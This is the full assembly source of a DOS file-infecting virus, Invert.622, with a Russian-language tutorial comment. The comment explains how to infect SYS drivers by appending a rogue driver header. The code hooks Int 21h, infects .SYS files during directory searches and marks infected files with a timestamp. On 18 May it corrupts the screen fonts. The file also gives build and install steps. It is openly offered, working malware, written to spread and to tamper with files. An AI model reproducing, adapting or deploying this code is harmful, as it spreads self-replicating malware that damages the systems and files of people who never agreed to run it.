DEBUG = 0	; 1 - включить отладочный режим
		; 0 - выключить отладочный режим

COMMENT %

  Simple SYS virus. Infects DOS drivers by adding of new driver
  to the end of file and correcting of header of SYS-file.

   Здорово, народ. Сегодня я хочу рассказать об одном типе исполняемых файлов
для DOS, о котором больше никто рассказывать не хочет (уж сколько я спрашивал -
никто так и не сказал мне ничего вразумительного на эту тем). Итак, SYS файлы
(или, иначе, драйверы): что они из себя представляют, как грузяться в память,
как выполняются и т.п. Сразу хочу предупредить, что не буду распространяться
на те аспекты, которые не касаются вирусов - а то целая книга получится.
   Все драйверы делятся на символьные и блочные. Про блочные я ничего расска-
зывать не буду. В начале SYS файла расположен небольшой заголовок. Вот его фор-
мат:

  +00h   1w   Смещение следующего заголовка (от начала файла). Если это послед-
              ний заголовок, то здесь должно стоять FFFF.
  +02h   1w   Сегмент следующего заголовка. Если это последний заголовок, то
              здесь должно стоять FFFF. Если не последний, то 0000.
  +04h   1w   Атрибуты драйвера. Для наших целей здесь лучше всего ставить
              8000h - символьный драйвер нестандартного устройства.
  +06h   1w   Смещение процедуры стратегий (от начала файла).
  +08h   1w   Смещение процедуры прерываний (от начала файла).
  +0Ah   8b   Имя драйвера (для символьных устройств).

   Как видно из таблицы, в одном SYS файле может содержаться несколько драй-
веров. Сначала DOS инициализирует первый драйвер, затем второй и т.д. Вот это
мы и будем использовать. Чтобы заразить SYS файл, нужно сгенерировать свой
заголовок, дописать его к концу файла, затем туда же дописать сам вирус и в
конце концов первые 4 байта файла заменить на дальний адрес нашего заголовка
(сегмент будет равен нулю, а смещение - длине файла). Как сгенерировать свой
заголовок? Первые два поля должны содержать то же значение, что и первые два
поля исходного файла-жертвы. Атрибуты, как уже было сказано, нужно поставить
8000h. Следующие два поля прийдется вычислить, исходя из длины заражаемого
файла. Имя драйвера можно поставить любое. Размер результирующего SYS файла не
должен превышать 64Kb.
   SYS файл грузится в память полностью, вместе с заголовком. Для SYS файлов
никогда не создается PSP. При загрузке драйверов в память DOS изменяет первые
два поля их заголовков: ставит там дальний указатель на следующий драйвер -
выстраивает их в цепочку (для своих целей). После этого драйверы становятся
частью операционной системы.
   При загрузке драйвера DOS сначала передает управление процедуре стратегий.
Единственное, что ей нужно сделать - это сохранить где-нибудь в надежном месте
регистры ES:BX. В этих регистрах хранится адрес запроса, который формирует DOS
для обращения к драйверу, но об этом ниже.
   Затем управление получает процедура прерываний. Замечу, что эта процедура не
имеет ничего общего с процедурой обработки прерываний - просто у нее название
такое. В первую очередь надо разныкать сохраненные ES:BX. В запросе находится
номер команды, которую должен выполнить драйвер (для нас важна только команда
инициализации), и поля, в которые нужно записать результат выполнения этой ко-
манда. Если у нас в атрибутах стоит 8000h (см. выше), то процедура прерываний
получит управление только один раз - в момент загрузки драйвера в память. Вот
формат запроса, который сформирует DOS для этого случая (звездочкой помечены
поля, которые будут нас интересовать):

  ES:[BX+00h]   1b   Длина запроса.
  ES:[BX+01h]   1b   Номер устройства (для блочных устройств).
* ES:[BX+02h]   1b   Команда, которую нужно выполнить. Команда инициализации
                     имеет код 0. Формат запроса, приведенного здесь, именно
                     для этой команды.
* ES:[BX+03h]   1w   Слово состояния. Сюда мы должны записать результат выпол-
                     нения команды (см. дальше)
  ES:[BX+05h]   8b   Зарезервировано.
  ES:[BX+0Dh]   1b   Кол-во обслуживаемых устройств (для блочных драйверов).
* ES:[BX+0Eh]   2w   Здесь нужно указать дальний адрес конца того кода, который
                     мы хотим оставить резидентным (см. дальше).
  ES:[BX+12h]   2w   Дальний адрес строки параметров (все, что следует за
                     строкой "DEVICE=" из CONFIG.SYS).
  ES:[BX+16h]   1b   Номер устройства, обслуживаемого драйвером (назначается
                     DOS-ом).

Формат слова состояния:

*   0-7  Код ошибки. Это поле действительно, если установлен бит 15.
*     8  Команда выполнена. Этот бит нужно устанавливать перед возвратом
         управления DOS-у.
      9  Устройство занято.
  10-14  Зарезервировано.
*    15  Признак ошибки.

Возможные коды ошибок:

  00h   попытка записи на защищенное устройство.
  01h   неизвестное устройство.
  02h   устройство не готово.
* 03h   неизвестная команда.
  04h   CRC error.
  05h   неправильная длина запроса.
  06h   дорожка не найдена.
  07h   неизвестный носитель данных.
  08h   сектор не найден.
  09h   нет бумаги в принтере.
  0Ah   ошибка записи.
  0Bh   ошибка чтения.
  0Ch   общая ошибка.
  0Dh   зарезервировано.
  0Eh   зарезервировано.
  0Fh   неразрешенная замена диска.

   Итак, мы (процедура прерываний) получили управление. В первую очередь нужно
проверить, какую команду требуется выполнить. Если это НЕ команда инициализа-
ции, то устанавливаем слово состояния в 8103h (неизвестная команда) и выходим.
Теперь выделяем память. Для этого в ячейку ES:[BX+0Eh] нужно занести смещение
последнего байта вируса + 1, а в ячейку ES:[BX+10h] - значение CS. Затем нужно
проверить, не присутствует ли в памяти другая копия вируса. Если нет, то пере-
хватить Int 21h (или еще что-нибудь). Ну а если присутствует? Даже в этом слу-
чае память все равно прийдется выделять (поэтому мы и сделали это ДО проверки
присутствия другой копии в памяти) - и в этом состоит один из глюков такого
метода заражения SYS файлов. Ну, допустим, мы сделали все вышеописанное и пере-
хватили нужные нам прерывания. Теперь остается только установить слово состо-
яния в 100h (удачное завершение) и отдать управление DOS-у.
   Вот, пожалуй, и все. Правда, у такого метода заражения есть еще один глюк:
прежде чем мы получим управление, произойдет инициализация драйвера, который
стоит раньше нас (в начале файла). Если этот драйвер запишет что-нибудь в об-
ласть кода вируса, то последствия будут не самые лучшие. К счастью так делают
лишь немногие драйверы, поэтому на это можно забить, хотя бороться с этим никак
нельзя.
   Справедливости ради скажу, что есть еще один метод заражения SYS файлов.
Нужно переставить на себя адрес процедуры стратегий (или прерываний) самого
первого драйвера в файле. При получении управления перегнать себя, например,
в видеопамять (MCB пока пользоваться нельзя), подождать загрузки системы, а
затем уже разместить себя в памяти по-нормальному. Что же касается первого ме-
тода - он хоть и глючный, зато более интересный с точки зрения изучения воз-
можностей DOS-а. Для лучшего его понимания предлагаю посмотреть нижеследующий
вирус. Вот его небольшое описание:
   Вирус заражает SYS файлы при чтении каталогов, даписываясь в их конец в
качестве нового драйвера. Проверка типа файла происходит как по расширению, так
и по первым четырем байтам. Корректно заражает SYS файлы для Windows - ENUNS,
RUSNS и т.п. Признак зараженности файла - 62 секунды в поле времени создания.
Обрабатывает файлы с атрибутом "Read Only". Не изменяет атрибуты файла и время
его создания (за исключением секунд). Не глючит на защищенных от записи диске-
тах. Есть отладочный режим, при котором вирус заражает только файлы с расшире-
нием ZZZ. 18 мая при заражении каждого файла вирус переворачивает все буквы
кроме псевдографики, за что и получил свое название (Invert.622). Замеченные
глюки:

   1. После загрузки Windows вирус перестает функционировать. Ничего удиви-
      тельного в этом нет - от Windows всего можно ожидать.
   2. Если в обработчике Int 21h не сохранять флаги (хотя они и так должны
      сохраняться командой INT), то могут проглючить некоторые программы, за-
      пускаемые из AUTOEXEC.BAT. Возможно, это связано с тем, что у меня уста-
      новлен EMM386, который грузит компьютер в V86, а прерывания обработывает
      сначала сам.

Для установки вируса в систему скопируйте INVERT.SYS, например, в корневой
каталог и добавьте в CONFIG.SYS строку "DEVICE=C:\INVERT.SYS".

                                  DJ Sadovnikov (http://i.am/djsad), 18.05.2000

 ══════════════════════════════════════════════════════════════════════════════

          Компилировать с помощью TASM 4.1+

             tasm /m invert.asm
             tlink /x invert.obj
             exe2bin invert.exe invert.sys
             del invert.obj
             del invert.exe


          Файлы из архива:

             invert.asm  15800 (исходник вируса)
             invert.sys    622 (бинарник вируса)
%









;══════════════════════════════════════════════════════════════════════════════

		.286
Code		segment
		assume	cs:Code, ds:Code
		org	0

Start:		dd	-1
		dw	8000h
		dw	offset Strategy
		dw	offset Interrupt
		db	'XXXXXX$$'

;══════════════════════════════════════════════════════════════════════════════

Strategy:	push	si
		call	StrEntry
StrEntry:	pop	si
		mov	cs:[Pointer+si-StrEntry], bx
		mov	cs:[Pointer+2+si-StrEntry], es
		pop	si
		retf

;══════════════════════════════════════════════════════════════════════════════

Interrupt:	pusha
		push	ds
		push	es

		call	IntEntry
IntEntry:	pop	si


;[Это инициализация драйвера?]

		lds	bx, cs:[Pointer-IntEntry+si]
		mov	ds:[bx+03h], 8103h
		cmp	ds:[bx+02h], byte ptr 0
		jne	Exit


;[Выделяем память для вируса]

		mov	ds:[bx+03h], 0100h
		lea	ax, [EndVir-IntEntry+si]
		mov	ds:[bx+0Eh], ax
		mov	ds:[bx+10h], cs


;[Проверяем наличие вируса в памяти]

		mov	ax, 0ABCDh
		int	21h
		cmp	ax, 0CDABh
		je	Exit


;[Переустанавливаем Int 21h на Int 65h]

		mov	ax, 3521h
		int	21h
		mov	ax, 2565h
		mov	dx, bx
		push	es
		pop	ds
		int	21h


;[Устанавливаем вирус на Int 21h]

		mov	ax, 2521h
		lea	dx, [Int21h-IntEntry+si]
		push	cs
		pop	ds
		int	21h


Exit:		pop	es
		pop	ds
		popa
		retf

VirName		db	'Invert.622 -- Copyright (c) by DJ Sadovnikov'

;══════════════════════════════════════════════════════════════════════════════

Int24h:		mov	al, 3
		iret


Int21h:		pushf
		cmp	ax, 0ABCDh
		jne	NotTest
		xchg	ah, al
		popf
		iret


NotTest:	cmp	ah, 4Eh
		je	DirSearch
		cmp	ah, 4Fh
		je	DirSearch

		popf
		int	65h
		jc	QuitSTC

QuitCLC:	push	bp
		mov	bp, sp
		and	[bp+6], byte ptr 11111110b
		pop	bp
		iret

QuitSTC:	push	bp
		mov	bp, sp
		or	[bp+6], byte ptr 00000001b
		pop	bp
		iret

;══════════════════════════════════════════════════════════════════════════════

DirSearch:	popf
		int	65h
		jc	QuitSTC

		pushf
		pusha
		push	ds
		push	es


;[Вычисляем точку входа]

		call	Entry
Entry:		pop	si


;[Сохраняем адрес обработчика Int 24h]

		mov	ax, 3524h
		int	65h
		push	es
		push	bx


;[Устанавливаем свой обработчик Int 24h]

		mov	ax, 2524h
		lea	dx, [Int24h-Entry+si]
		push	cs
		pop	ds
		int	65h


;[Получаем адрес DTA]

		mov	ah, 2Fh
		int	65h
		jc	Quit
		push	es
		pop	ds


;[Найден каталог или метка тома?]

		test	ds:[bx+15h], byte ptr 00011000b
		jnz	Quit


;[Проверяем файл на зараженность]

		mov	al, ds:[bx+16h]
		or	al, 11100000b
		inc	al
		jz	Quit


;[Ищем конец имени файла]

		add	bx, 1Eh
		mov	dx, bx
FindZero:	inc	bx
		cmp	ds:[bx], byte ptr 0
		jne	FindZero


;[Это SYS-файл?]

		mov	ax, ds:[bx-4]
		and	ah, 0DFh
IF DEBUG
		cmp	ax, 'Z.'
ELSE
		cmp	ax, 'S.'
ENDIF
		jne	Quit
		mov	ax, ds:[bx-2]
		and	ax, 0DFDFh
IF DEBUG
		cmp	ax, 'ZZ'
ELSE
		cmp	ax, 'SY'
ENDIF
		jne	Quit


;[Заражаем файл]

		call	Infect


;[Восстанавливаем старый обработчик Int 24h]

Quit:		mov	ax, 2524h
		pop	dx
		pop	ds
		int	65h

		pop	es
		pop	ds
		popa
		popf
		jmp	QuitCLC


;══════════════════════════════════════════════════════════════════════════════

;[Сохраняем атрибуты файла]

Infect:		mov	ax, 4300h
		int	65h
		jc	Return
		push	cx
		push	dx
		push	ds
		

;[Обнуляем атрибуты файла]

		mov	ax, 4301h
		xor	cx, cx
		int	65h
		jc	RestAttr


;[Открываем файл]

		mov	ax, 3D02h
		int	65h
		jc	RestAttr
		xchg	ax, bx
		push	cs
		pop	ds


;[Сохраняем дату и время создания файла]

		mov	ax, 5700h
		int	65h
		jc	Close
		push	cx
		push	dx


;[Считываем первые 4 байта заголовка]

		mov	ah, 3Fh
		mov	cx, 4
		lea	dx, [Header-Entry+si]
		int	65h
		jc	RestTime


;[Проверяем тип файла]

		cmp	[Header-Entry+si], 'ZM'
		je	RestTime
		cmp	[Header-Entry+si], 0FFFFh
		je	DriverOk
		cmp	[Header+2-Entry+si], word ptr 0
		je	DriverOk

;══════════════════════════════════════════════════════════════════════════════

;[Восстанавливаем дату и время создания файла]

RestTime:	mov	ax, 5701h
		pop	dx
		pop	cx
		int	65h


;[Закрываем файл]

Close:		mov	ah, 3Eh
		int	65h


;[Восстанавливаем атрибуты файла]

RestAttr:	mov	ax, 4301h
		pop	ds
		pop	dx
		pop	cx
		int	65h

Return:		ret

;══════════════════════════════════════════════════════════════════════════════

;[Устанавливаем указатель на 7 позиций от конца файла]

DriverOk:	mov	ax, 4202h
		mov	cx, 0FFFFh
		mov	dx, 0FFF9h
		int	65h
		jc	RestTime


;[Считываем 7 байт]

		mov	ah, 3Fh
		mov	cx, 7
		lea	dx, [XXXNS-Entry+si]
		int	65h
		jc	RestTime


;[Устанавливаем указатель в конец файла]

		mov	ax, 4202h
		xor	cx, cx
		xor	dx, dx
		int	65h
		jc	RestTime


;[Проверяем, чтобы файл с вирусом занимал не более 64Kb]

		or	dx, dx
		jnz	RestTime
		cmp	ax, 0FFFFh-(EndCode-Start)
		jae	RestTime


;[Вычиляем поля заголовка SYS-файла]

		mov	ds:[NextDriver+0-Entry+si], ax
		mov	ds:[NextDriver+2-Entry+si], dx
		mov	ds:[Header+04h-Entry+si], 8000h
		add	ax, Strategy-Start
		mov	ds:[Header+06h-Entry+si], ax
		add	ax, Interrupt-Strategy
		mov	ds:[Header+08h-Entry+si], ax


;[Записываем новый заголовок в конец файла]

		mov	ah, 40h
		mov	cx, 12h
		lea	dx, [Header-Entry+si]
		int	65h
		jc	RestTime


;[Этот файл - XXXNS?]

		mov	cx, EndCode-7-Strategy
		cmp	ds:[XXXNS+3-Entry+si], 'SN'
		jne	L1
		add	ds:[XXXNS+5-Entry+si], EndCode-Start
		mov	cx, EndCode-Strategy


;[Записываем вирус в конец файла]

L1:		mov	ah, 40h
		lea	dx, [Strategy-Entry+si]
		int	65h
		jc	RestTimeA


;[Устанавливаем указатель в начало файла]

		mov	ax, 4200h
		xor	cx, cx
		xor	dx, dx
		int	65h
		jc	RestTimeA


;[Записываем адрес заголовка вируса]

		mov	ah, 40h
		mov	cx, 4
		lea	dx, [NextDriver-Entry+si]
		int	65h
		jc	RestTimeA


;[Устанавливаем время создания файла - 62 секунды]

		mov	bp, sp
		or	[bp+2], byte ptr 00011111b


;[Проверяем системную дату]

		mov	ax, 0807h
		out	70h, al
		in	al, 71h
		xchg	ah, al
		out	70h, al
		in	al, 71h
		cmp	ax, 1805h
		jne	RestTimeA


;[Если сегодня 18.05.xx, то инвертируем шрифты]

		push	bx
		mov	ax, 1130h
		mov	bh, 6
		int	10h

		xor	si, si
L2:		lea	di, [si+15]
		mov	cx, 8

L3:		mov	al, es:[bp+si]
		xchg	es:[bp+di], al
		mov	es:[bp+si], al
		inc	si
		dec	di
		loop	L3

		add	si, 8
		cmp	si, 100h*16
		je	L4
		cmp	si, 0B0h*16
		jne	L2
		add	si, 030h*16
		jmp	L2

L4:		mov	ax, 1104h
		mov	bl, 0
		int	10h
		pop	bx

RestTimeA:	jmp	RestTime

;══════════════════════════════════════════════════════════════════════════════

XXXNS		db	7 dup (?)

EndCode:

Pointer		dd	?
NextDriver	dd	?
Header		db	12h dup (?)

EndVir:

Code		ends
		end	Start
